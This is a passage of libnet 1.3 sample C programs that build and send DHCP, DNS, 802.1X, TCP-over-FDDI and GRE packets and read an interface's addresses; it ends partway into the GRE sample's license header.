LIBNET_DHCP_ROUTER, LIBNET_DHCP_DOMAINNAME, LIBNET_DHCP_DNS, LIBNET_DHCP_HOSTNAME }; u_char *options; u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; u_char *tmp; if (argc != 2) { usage(argv[0]); } intf = argv[1]; l = libnet_init(LIBNET_LINK, intf, errbuf); if (!l) { fprintf(stderr, "libnet_init: %s", errbuf); exit(EXIT_FAILURE); } else { src_ip = libnet_get_ipaddr4(l);; if ((ethaddr = libnet_get_hwaddr(l)) == NULL) { fprintf(stderr, "libnet_get_hwaddr: %s\n", libnet_geterror(l)); exit(EXIT_FAILURE); } printf("ip addr : %s\n", libnet_addr2name4(src_ip, LIBNET_DONT_RESOLVE)); printf("eth addr : "); for (i = 0; i < 6; i++) { printf("%2.2x", ethaddr->ether_addr_octet[i]); if (i != 5) { printf(":"); } } printf("\n"); /* build options packet */ i = 0; /* update total payload size */ options_len = 3; /* we are a discover packet */ options = malloc(3); options[i++] = LIBNET_DHCP_MESSAGETYPE; /* type */ options[i++] = 1; /* len */ options[i++] = LIBNET_DHCP_MSGDISCOVER; /* data */ orig_len = options_len; /* update total payload size */ options_len += sizeof(options_req) + 2; tmp = malloc(options_len); memcpy(tmp, options, orig_len); free(options); options = tmp; /* we are going to request some parameters */ options[i++] = LIBNET_DHCP_PARAMREQUEST; /* type */ options[i++] = sizeof(options_req); /* len */ memcpy(options + i, options_req, sizeof(options_req)); /* data */ i += sizeof(options_req); /* if we have an ip already, let's request it. */ if (src_ip) { orig_len = options_len; options_len += 2 + sizeof(src_ip); tmp = malloc(options_len); memcpy(tmp, options, orig_len); free(options); options = tmp; options[i++] = LIBNET_DHCP_DISCOVERADDR; /* type */ options[i++] = sizeof(src_ip); /* len */ memcpy(options + i, (char *)&src_ip, sizeof(src_ip)); /* data */ i += sizeof(src_ip); } /* end our options packet */ orig_len = options_len; options_len += 1; tmp = malloc(options_len); memcpy(tmp, options, orig_len); free(options); options = tmp; options[i++] = LIBNET_DHCP_END; /* make sure we are at least the minimum length, if not fill */ /* this could go in libnet, but we will leave it in the app for now */ if (options_len + LIBNET_DHCPV4_H < LIBNET_BOOTP_MIN_LEN) { orig_len = options_len; options_len = LIBNET_BOOTP_MIN_LEN - LIBNET_DHCPV4_H; tmp = malloc(options_len); memcpy(tmp, options, orig_len); free(options); options = tmp; memset(options + i, 0, options_len - i); } dhcp = libnet_build_dhcpv4( LIBNET_DHCP_REQUEST, /* opcode */ 1, /* hardware type */ 6, /* hardware address length */ 0, /* hop count */ 0xdeadbeef, /* transaction id */ 0, /* seconds since bootstrap */ 0x8000, /* flags */ 0, /* client ip */ 0, /* your ip */ 0, /* server ip */ 0, /* gateway ip */ ethaddr->ether_addr_octet, /* client hardware addr */ NULL, /* server host name */ NULL, /* boot file */ options, /* dhcp options in payload */ options_len, /* length of options */ l, /* libnet context */ 0); /* libnet ptag */ udp = libnet_build_udp( 68, /* source port */ 67, /* destination port */ LIBNET_UDP_H + LIBNET_DHCPV4_H + options_len, /* packet size */ 0, /* checksum */ NULL, /* payload */ 0, /* payload size */ l, /* libnet context */ 0); /* libnet ptag */ ip = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_DHCPV4_H + options_len, /* length */ 0x10, /* TOS */ 0, /* IP ID */ 0, /* IP Frag */ 16, /* TTL */ IPPROTO_UDP, /* protocol */ 0, /* checksum */ src_ip, /* src ip */ inet_addr("255.255.255.255"), /* destination ip */ NULL, /* payload */ 0, /* payload size */ l, /* libnet context */ 0); /* libnet ptag */ t = libnet_autobuild_ethernet( enet_dst, /* ethernet destination */ ETHERTYPE_IP, /* protocol type */ l); /* libnet context */ if (libnet_write(l) == -1) { fprintf(stderr, " %s: libnet_write: %s\n", argv[0], strerror(errno)); exit(EXIT_FAILURE); } libnet_stats(l, &ls); fprintf(stderr, "Packets sent: %lld\n" "Packet errors: %lld\n" "Bytes written: %lld\n", (long long)ls.packets_sent, (long long)ls.packet_errors, (long long)ls.bytes_written); libnet_destroy(l); free(options); exit(0); } exit(0); } libnet-1.3/sample/dns.c0000664000175000017500000002033614506572036013273 0ustar syqsyq/* * * libnet 1.1 * Build a DNSv4 packet * To view: /usr/sbin/tcpdump -vvvvven -s 0 port 53 * * Copyright (c) 2003 Frédéric Raynal * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "./libnet_test.h" void usage(char *prog) { fprintf(stderr, "Usage: %s -d dst_ip -q query_host [-s src_ip] [-t]\n", prog); exit(1); } int main(int argc, char *argv[]) { char c; u_long src_ip = 0, dst_ip = 0; u_short type = LIBNET_UDP_DNSV4_H; libnet_t *l; libnet_ptag_t ip; libnet_ptag_t ptag4; /* TCP or UDP ptag */ libnet_ptag_t dns; char errbuf[LIBNET_ERRBUF_SIZE]; char *query = NULL; char payload[1024]; u_short payload_s; printf("libnet 1.1 packet shaping: DNSv4[raw]\n"); /* * Initialize the library. Root privileges are required. */ l = libnet_init( LIBNET_RAW4, /* injection type */ NULL, /* network interface */ errbuf); /* error buffer */ if (!l) { fprintf(stderr, "libnet_init: %s", errbuf); exit(EXIT_FAILURE); } /* * parse options */ while ((c = getopt(argc, argv, "d:s:q:t")) != EOF) { switch (c) { case 'd': if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad destination IP address: %s\n", optarg); exit(EXIT_FAILURE); } break; case 's': if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad source IP address: %s\n", optarg); exit(EXIT_FAILURE); } break; case 'q': query = optarg; break; case 't': type = LIBNET_TCP_DNSV4_H; break; default: exit(EXIT_FAILURE); } } if (!src_ip) { src_ip = libnet_get_ipaddr4(l); } if (!dst_ip || !query) { usage(argv[0]); exit(EXIT_FAILURE); } /* * build dns payload */ payload_s = snprintf(payload, sizeof payload, "%c%s%c%c%c%c%c", (char)(strlen(query)&0xff), query, 0x00, 0x00, 0x01, 0x00, 0x01); /* * build packet */ dns = libnet_build_dnsv4( type, /* TCP or UDP */ 0x7777, /* id */ 0x0100, /* request */ 1, /* num_q */ 0, /* num_anws_rr */ 0, /* num_auth_rr */ 0, /* num_addi_rr */ (uint8_t *)payload, payload_s, l, 0 ); if (dns == -1) { fprintf(stderr, "Can't build DNS packet: %s\n", libnet_geterror(l)); goto bad; } if (type == LIBNET_TCP_DNSV4_H) /* TCP DNS */ { ptag4 = libnet_build_tcp( 0x6666, /* source port */ 53, /* destination port */ 0x01010101, /* sequence number */ 0x02020202, /* acknowledgement num */ TH_PUSH|TH_ACK, /* control flags */ 32767, /* window size */ 0, /* checksum */ 0, /* urgent pointer */ LIBNET_TCP_H + LIBNET_TCP_DNSV4_H + payload_s, /* TCP packet size */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (ptag4 == -1) { fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l)); goto bad; } ip = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_TCP_H + type + payload_s,/* length */ 0, /* TOS */ 242, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_TCP, /* protocol */ 0, /* checksum */ src_ip, /* source IP */ dst_ip, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (ip == -1) { fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); exit(EXIT_FAILURE); } } else /* UDP DNS */ { ptag4 = libnet_build_udp( 0x6666, /* source port */ 53, /* destination port */ LIBNET_UDP_H + LIBNET_UDP_DNSV4_H + payload_s, /* packet length */ 0, /* checksum */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (ptag4 == -1) { fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l)); goto bad; } ip = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_UDP_H + type + payload_s,/* length */ 0, /* TOS */ 242, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_UDP, /* protocol */ 0, /* checksum */ src_ip, /* source IP */ dst_ip, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (ip == -1) { fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); exit(EXIT_FAILURE); } } /* * write to the wire */ c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); goto bad; } else { fprintf(stderr, "Wrote %d byte DNS packet; check the wire.\n", c); } libnet_destroy(l); return (EXIT_SUCCESS); bad: libnet_destroy(l); return (EXIT_FAILURE); } libnet-1.3/sample/dot1x.c0000664000175000017500000000670214506572036013547 0ustar syqsyq/* * $Id: dot1x.c,v 1.2 2004/01/03 20:31:01 mike Exp $ * * libnet 1.1 * Build a dot1x packet * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" int main(int argc, char *argv[]) { int c; libnet_t *l; libnet_ptag_t t; u_char eap_dst[6] = {0x01, 0x80, 0xc2, 0x00, 0x00, 0x03}; char *device = NULL; char errbuf[LIBNET_ERRBUF_SIZE]; /* Code Id Length(2) Type DesiredType */ char payload[] = {0x01, 0x0a, 0x00, 0x7f, 0x03, 0x05}; printf("libnet 1.1 packet shaping: dot1x\n"); if (argc > 1) { device = argv[1]; } l = libnet_init( LIBNET_LINK_ADV, /* injection type */ device, /* network interface */ errbuf); /* errbuf */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } t = libnet_build_802_1x( 0, LIBNET_802_1X_PACKET, sizeof(payload), (uint8_t *)payload, sizeof(payload), l, 0); if (t == -1) { fprintf(stderr, "Can't build dot1x header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_autobuild_ethernet( eap_dst, /* ethernet destination */ ETHERTYPE_EAP, /* protocol type */ l); /* libnet handle */ if (t == -1) { fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l)); goto bad; } /* * Write it to the wire. */ c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); goto bad; } else { fprintf(stderr, "Wrote %d byte dot1x packet from context \"%s\"; " "check the wire.\n", c, libnet_cq_getlabel(l)); } libnet_destroy(l); return (EXIT_SUCCESS); bad: libnet_destroy(l); return (EXIT_FAILURE); } libnet-1.3/sample/fddi_tcp1.c0000664000175000017500000001721314506572036014344 0ustar syqsyq/* * libnet 1.1 * Build a TCP packet to ride on FDDI * * Copyright (c) 1998 - 2001 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" int main(int argc, char *argv[]) { int c; char *cp; libnet_t *l; libnet_ptag_t t; char *payload; u_short payload_s; u_long src_ip, dst_ip; u_short src_prt, dst_prt; char errbuf[LIBNET_ERRBUF_SIZE]; printf("libnet 1.1 packet shaping: TCP (over FDDI) [link]\n"); /* * Initialize the library. Root priviledges are required. * * Currently hardcoded for fddi0. */ l = libnet_init( LIBNET_LINK, /* injection type */ "fddi0", /* network interface */ errbuf); /* error buffer */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } src_ip = 0; dst_ip = 0; src_prt = 0; dst_prt = 0; payload = NULL; payload_s = 0; while ((c = getopt(argc, argv, "d:s:p:")) != EOF) { switch (c) { /* * We expect the input to be of the form `ip.ip.ip.ip.port`. We * point cp to the last dot of the IP address/port string and * then separate them with a NULL byte. The optarg now points to * just the IP address, and cp points to the port. */ case 'd': if (!(cp = strrchr(optarg, '.'))) { usage(argv[0]); } *cp++ = 0; dst_prt = (u_short)atoi(cp); if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad destination IP address: %s\n", optarg); exit(EXIT_FAILURE); } break; case 's': if (!(cp = strrchr(optarg, '.'))) { usage(argv[0]); } *cp++ = 0; src_prt = (u_short)atoi(cp); if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad source IP address: %s\n", optarg); exit(EXIT_FAILURE); } break; case 'p': payload = optarg; payload_s = strlen(payload); break; default: exit(EXIT_FAILURE); } } if (!src_ip || !src_prt || !dst_ip || !dst_prt) { usage(argv[0]); exit(EXIT_FAILURE); } t = libnet_build_tcp( src_prt, /* source port */ dst_prt, /* destination port */ 0x01010101, /* sequence number */ 0x02020202, /* acknowledgement num */ TH_SYN, /* control flags */ 32767, /* window size */ 0, /* checksum */ 0, /* urgent pointer */ LIBNET_TCP_H + payload_s, /* TCP packet size */ (uint8_t *)payload, /* payload */ payload_s, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_TCP_H + payload_s, /* length */ 0, /* TOS */ 242, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_TCP, /* protocol */ 0, /* checksum */ src_ip, /* source IP */ dst_ip, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_build_fddi( LIBNET_FDDI_FC_REQD | 0x04, /* Asynch LLC - priority 4 */ fddi_dst, /* fddi destination */ fddi_src, /* fddi source */ LIBNET_SAP_SNAP, /* DSAP -> SNAP encap */ LIBNET_SAP_SNAP, /* SSAP -> SNAP encap */ 0x03, /* Unnumbered info/frame */ org_code, /* Organization Code */ FDDI_TYPE_IP, /* protocol type */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build fddi header: %s\n", libnet_geterror(l)); goto bad; } /* * Write it to the wire. */ c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); goto bad; } else { fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c); } libnet_destroy(l); return (EXIT_SUCCESS); bad: libnet_destroy(l); return (EXIT_FAILURE); } void usage(char *name) { fprintf(stderr, "usage: %s -s source_ip.source_port -d destination_ip.destination_port" " [-p payload]\n", name); } libnet-1.3/sample/fddi_tcp2.c0000664000175000017500000001661314506572036014350 0ustar syqsyq/* * libnet 1.1 * Build a TCP packet to ride on FDDI (autobuild) * * Copyright (c) 1998 - 2001 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" int main(int argc, char *argv[]) { int c; char *cp; libnet_t *l; libnet_ptag_t t; char *payload; u_short payload_s; u_long src_ip, dst_ip; u_short src_prt, dst_prt; char errbuf[LIBNET_ERRBUF_SIZE]; printf("libnet 1.1 packet shaping: TCP (over FDDI) [link]\n"); /* * Initialize the library. Root priviledges are required. * * Currently hardcoded for fddi0. */ l = libnet_init( LIBNET_LINK, /* injection type */ "fddi0", /* network interface */ errbuf); /* error buffer */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } src_ip = 0; dst_ip = 0; src_prt = 0; dst_prt = 0; payload = NULL; payload_s = 0; while ((c = getopt(argc, argv, "d:s:p:")) != EOF) { switch (c) { /* * We expect the input to be of the form `ip.ip.ip.ip.port`. We * point cp to the last dot of the IP address/port string and * then separate them with a NULL byte. The optarg now points to * just the IP address, and cp points to the port. */ case 'd': if (!(cp = strrchr(optarg, '.'))) { usage(argv[0]); } *cp++ = 0; dst_prt = (u_short)atoi(cp); if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad destination IP address: %s\n", optarg); exit(EXIT_FAILURE); } break; case 's': if (!(cp = strrchr(optarg, '.'))) { usage(argv[0]); } *cp++ = 0; src_prt = (u_short)atoi(cp); if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad source IP address: %s\n", optarg); exit(EXIT_FAILURE); } break; case 'p': payload = optarg; payload_s = strlen(payload); break; default: exit(EXIT_FAILURE); } } if (!src_ip || !src_prt || !dst_ip || !dst_prt) { usage(argv[0]); exit(EXIT_FAILURE); } t = libnet_build_tcp( src_prt, /* source port */ dst_prt, /* destination port */ 0x01010101, /* sequence number */ 0x02020202, /* acknowledgement num */ TH_SYN, /* control flags */ 32767, /* window size */ 0, /* checksum */ 0, /* urgent pointer */ LIBNET_TCP_H + payload_s, /* TCP packet size */ (uint8_t *)payload, /* payload */ payload_s, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_TCP_H + payload_s, /* length */ 0, /* TOS */ 242, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_TCP, /* protocol */ 0, /* checksum */ src_ip, /* source IP */ dst_ip, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_autobuild_fddi( LIBNET_FDDI_FC_REQD | 0x04, /* Asynch LLC - priority 4 */ fddi_dst, /* fddi destination */ LIBNET_SAP_SNAP, /* DSAP -> SNAP encap */ LIBNET_SAP_SNAP, /* SSAP -> SNAP encap */ 0x03, /* Unnumbered info/frame */ org_code, /* Organization Code */ FDDI_TYPE_IP, /* protocol type */ l); /* libnet handle */ if (t == -1) { fprintf(stderr, "Can't build fddi header: %s\n", libnet_geterror(l)); goto bad; } /* * Write it to the wire. */ c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); goto bad; } else { fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c); } libnet_destroy(l); return (EXIT_SUCCESS); bad: libnet_destroy(l); return (EXIT_FAILURE); } void usage(char *name) { fprintf(stderr, "usage: %s -s source_ip.source_port -d destination_ip.destination_port" " [-p payload]\n", name); } libnet-1.3/sample/get_addr.c0000664000175000017500000000617414506572036014264 0ustar syqsyq/* * $Id: get_addr.c,v 1.4 2004/11/09 07:05:07 mike Exp $ * * libnet 1.1 * get_addr.c - Retrieve the MAC and IP address of an interface * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "./libnet_test.h" int main(int argc, char *argv[]) { int c; u_long i; libnet_t *l; char *device = NULL; struct libnet_ether_addr *e; char errbuf[LIBNET_ERRBUF_SIZE]; printf("libnet 1.1 address getter\n"); while ((c = getopt(argc, argv, "i:")) != EOF) { switch (c) { case 'i': device = optarg; break; default: exit(EXIT_FAILURE); } } /* * Initialize the library. Root priviledges are required. */ l = libnet_init( LIBNET_LINK, /* injection type */ device, /* network interface */ errbuf); /* errbuf */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } printf("Interface:\t%s\n", libnet_getdevice(l)); e = libnet_get_hwaddr(l); if (e == NULL) { fprintf(stderr, "Can't get hardware address: %s\n", libnet_geterror(l)); } else { printf("MAC address:\t"); for (c = 0; c < 6; c++) { printf("%2.2x", e->ether_addr_octet[c]); if (c != 5) { printf(":"); } } printf("\n"); } i = libnet_get_ipaddr4(l); if (i == -1) { fprintf(stderr, "Can't get ip address: %s\n", libnet_geterror(l)); } else { printf("IP address:\t"); printf("%s\n", libnet_addr2name4(i, LIBNET_DONT_RESOLVE)); } exit(EXIT_SUCCESS); } libnet-1.3/sample/gre.c0000664000175000017500000003470114506572036013265 0ustar syqsyq/* * * libnet 1.1 * Build a GRE packet * To view: tcpdump -s 0 -n -X -vvv proto gre * * Copyright (c) 2003 Frédéric Raynal * All rights reserved. * * * KNOWN BUG * the encapsulated headers have wrong checksums. I guess this is due to * the one pass libnet_pblock_coalesce() which is really to complicated :( * * * Default packet: * # ./gre -d 1.2.3.4 * libnet 1.1 packet shaping: GRE 1701 [link] * Wrote 78 byte GRE packet; check the wire. * * 18:58:12.112157 192.168.1.2 > 1.2.3.4: gre 198.35.123.50.1234 > 103.69.139.107.53: S [bad tcp cksum 698a!] 16843009:16843009(0) win 32767 (ttl 64, id 242, len 40, bad cksum 0!) (ttl 255, id 255, len 64) * 0x0000 4500 0040 00ff 0000 ff2f f4df c0a8 0102 E..@...../...... * 0x0010 0102 0304 0000 0800 4500 0028 00f2 0000 ........E..(.... * 0x0020 4006 0000 c623 7b32 6745 8b6b 04d2 0035 @....#{2gE.k...5 * 0x0030 0101 0101 0202 0202 5002 7fff 6666 0000 ........P...ff.. * * Packet with a computed checksum * # ./gre -d 1.2.3.4 -c 0 * libnet 1.1 packet shaping: GRE 1701 [link] * Wrote 82 byte GRE packet; check the wire. * * 18:58:22.587513 192.168.1.2 > 1.2.3.4: gre [Cv0] C:7c62 198.35.123.50.1234 > 103.69.139.107.53: S [bad tcp cksum 698a!] 16843009:16843009(0) win 32767 (ttl 64, id 242, len 40, bad cksum 0!) (ttl 255, id 255, len 68) * 0x0000 4500 0044 00ff 0000 ff2f f4db c0a8 0102 E..D...../...... * 0x0010 0102 0304 8000 0800 7c62 0000 4500 0028 ........|b..E..( * 0x0020 00f2 0000 4006 0000 c623 7b32 6745 8b6b ....@....#{2gE.k * 0x0030 04d2 0035 0101 0101 0202 0202 5002 7fff ...5........P... * 0x0040 6666 0000 ff.. * * * Packet with a forced checksum * # ./gre -d 1.2.3.4 -c 6666 * libnet 1.1 packet shaping: GRE 1701 [link] * Wrote 68 byte GRE packet; check the wire. * * 19:04:12.108080 192.168.1.2 > 1.2.3.4: gre [Cv0] C:1a0a 198.35.123.50.1234 > 103.69.139.107.53: S [bad tcp cksum 698a!] 16843009:16843009(0) win 32767 (ttl 64, id 242, len 40, bad cksum 0!) (ttl 255, id 255, len 68) * 0x0000 4500 0044 00ff 0000 ff2f f4db c0a8 0102 E..D...../...... * 0x0010 0102 0304 8000 0800 1a0a 0000 4500 0028 ............E..( * 0x0020 00f2 0000 4006 0000 c623 7b32 6745 8b6b ....@....#{2gE.k * 0x0030 04d2 0035 0101 0101 0202 0202 5002 7fff ...5........P... * 0x0040 6666 0000 ff.. * * * * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 